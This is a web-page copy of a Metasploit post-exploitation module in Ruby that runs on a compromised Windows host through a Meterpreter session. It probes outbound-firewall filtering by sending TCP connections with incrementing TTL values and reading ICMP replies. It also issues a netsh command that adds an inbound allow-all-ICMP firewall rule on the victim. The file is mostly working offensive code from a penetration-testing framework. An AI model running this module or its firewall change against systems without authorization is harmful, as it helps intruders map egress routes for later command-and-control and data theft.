Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/recon/outbound_ports.rb
Views: 11784
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Priv910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Outbound-Filtering Rules',15'Description' => %q{16This module makes some kind of TCP traceroute to get outbound-filtering rules.17It will try to make a TCP connection to a certain public IP address (this IP18does not need to be under your control) using different TTL incremental values.19This way if you get an answer (ICMP TTL time exceeded packet) from a public IP20device you can infer that the destination port is allowed. Setting STOP to21true the module will stop as soon as you reach a public IP (this will generate22less noise in the network).23},24'License' => MSF_LICENSE,25'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',26'Platform' => 'win',27'SessionTypes' => ['meterpreter'],28'References' => [29['URL', 'http://www.shelliscoming.com/2014/11/getting-outbound-filtering-rules-by.html']30],31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34stdapi_railgun_api35]36}37}38)39)4041register_options(42[43OptAddress.new('ADDRESS', [ true, 'Destination IP address.']),44OptInt.new('HOPS', [true, 'Number of hops to get.', 3]),45OptInt.new('MIN_TTL', [true, 'Starting TTL value.', 1]),46OptString.new('PORTS', [true, 'Ports to test (e.g. 80,443,100-110).', '80,443']),47OptInt.new('TIMEOUT', [true, 'Timeout for the ICMP socket.', 3]),48OptBool.new('STOP', [true, 'Stop when it finds a public IP.', true])49]50)51end5253def icmp_setup54handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_RAW', 'IPPROTO_ICMP')55if handler['GetLastError'] == 056vprint_good('ICMP raw socket created successfully')57else58print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}")59return nil60end6162r = client.railgun.ws2_32.bind(handler['return'], "\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00" * 8, 16)63if r['GetLastError'] == 064vprint_good("ICMP socket successfully bound to #{session.session_host}")65else66print_error("There was an error binding the ICMP socket to #{session.session_host}; GetLastError: #{r['GetLastError']}")67return nil68end6970# int WSAIoctl(71# _In_ SOCKET s,72# _In_ DWORD dwIoControlCode,73# _In_ LPVOID lpvInBuffer,74# _In_ DWORD cbInBuffer,75# _Out_ LPVOID lpvOutBuffer,76# _In_ DWORD cbOutBuffer,77# _Out_ LPDWORD lpcbBytesReturned,78# _In_ LPWSAOVERLAPPED lpOverlapped,79# _In_ LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine80# );8182sio_rcvall = 0x9800000183r = client.railgun.ws2_32.WSAIoctl(handler['return'], sio_rcvall, "\x01", 4, nil, 0, 4, nil, nil)84if r['GetLastError'] == 085return handler['return']86else87print_error("There was an error calling WSAIoctl (ICMP raw socket); GetLastError: #{r['GetLastError']}")88return nil89end90end9192def tcp_setup(ttl)93handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')94if handler['GetLastError'] == 095vprint_status('TCP socket created successfully')96else97print_error("There was an error setting the TCP socket; GetLastError: #{handler['GetLastError']}")98return nil99end100101# 0x8004667E = FIONBIO102# Enable non-blocking mode when *argp (third parameter in ioctlsocket) is set to a nonzero value103cmd = 0x8004667E104r = client.railgun.ws2_32.ioctlsocket(handler['return'], cmd, 1)105if r['GetLastError'] == 0106vprint_status('TCP socket successfully configured in non-blocking mode')107else108print_error("There was an error setting the TCP socket in non-blocking mode; GetLastError: #{r['GetLastError']}")109return nil110end111112# int setsockopt(113# _In_ SOCKET s,114# _In_ int level,115# _In_ int optname,116# _In_ const char *optval,117# _In_ int optlen118# );119ipproto_ip = 0120ip_ttl = 4121r = client.railgun.ws2_32.setsockopt(handler['return'], ipproto_ip, ip_ttl, [ttl].pack('C'), 4)122if r['GetLastError'] == 0123vprint_status("TTL value successfully set to #{ttl}")124return handler['return']125else126print_error("There was an error setting the TTL value; GetLastError: #{r['GetLastError']}")127return nil128end129end130131def connections(remote, dst_port, h_icmp, h_tcp, to)132sock_addr = "\x02\x00"133sock_addr << [dst_port].pack('n')134sock_addr << Rex::Socket.addr_aton(remote)135sock_addr << "\x00" * 8136r = client.railgun.ws2_32.connect(h_tcp, sock_addr, 16)137138# A GetLastError == 1035 is expected since the socket is set to non-blocking mode139unless r['GetLastError'] == 10035140print_error("There was an error creating the connection to the peer #{remote}; GetLastError: #{r['GetLastError']}")141return142end143144from = ' ' * 16145146begin147::Timeout.timeout(to) do148r = client.railgun.ws2_32.recvfrom(h_icmp, "\x00" * 100, 100, 0, from, 16)149hop = Rex::Socket.addr_ntoa(r['from'][4..7])150return hop151end152rescue ::Timeout::Error153return nil154end155end156157def run158unless is_admin?159print_error("You don't have enough privileges. Try getsystem.")160return161end162163version = get_version_info164if version.xp_or_2003?165print_error('Windows XP/Server 2003 is not supported')166return167end168169output = cmd_exec('netsh', ' advfirewall firewall add rule name="All ICMP v4" dir=in action=allow protocol=icmpv4:any,any')170print_status("ICMP firewall IN rule established: #{output}")171172session.railgun.ws2_32173remote = datastore['ADDRESS']174to = datastore['TIMEOUT']175176ports = Rex::Socket.portspec_crack(datastore['PORTS'])177178ports.each do |dport|179pub_ip = false180print_status("Testing port #{dport}...")1810.upto(datastore['HOPS'] - 1) do |i|182i += datastore['MIN_TTL']183h_icmp = icmp_setup184return if h_icmp.nil?185186h_tcp = tcp_setup(i)187return if h_tcp.nil?188189hop = connections(remote, dport, h_icmp, h_tcp, to)190if hop.nil?191print_error("#{i} *")192else193print_good("#{i} #{hop}")194unless Rex::Socket.is_internal?(hop)195pub_ip = true196break if datastore['STOP']197end198end199client.railgun.ws2_32.closesocket(h_tcp)200client.railgun.ws2_32.closesocket(h_icmp)201end202print_good("Public IP reached. The TCP port #{dport} is not filtered") if pub_ip203end204end205end206207208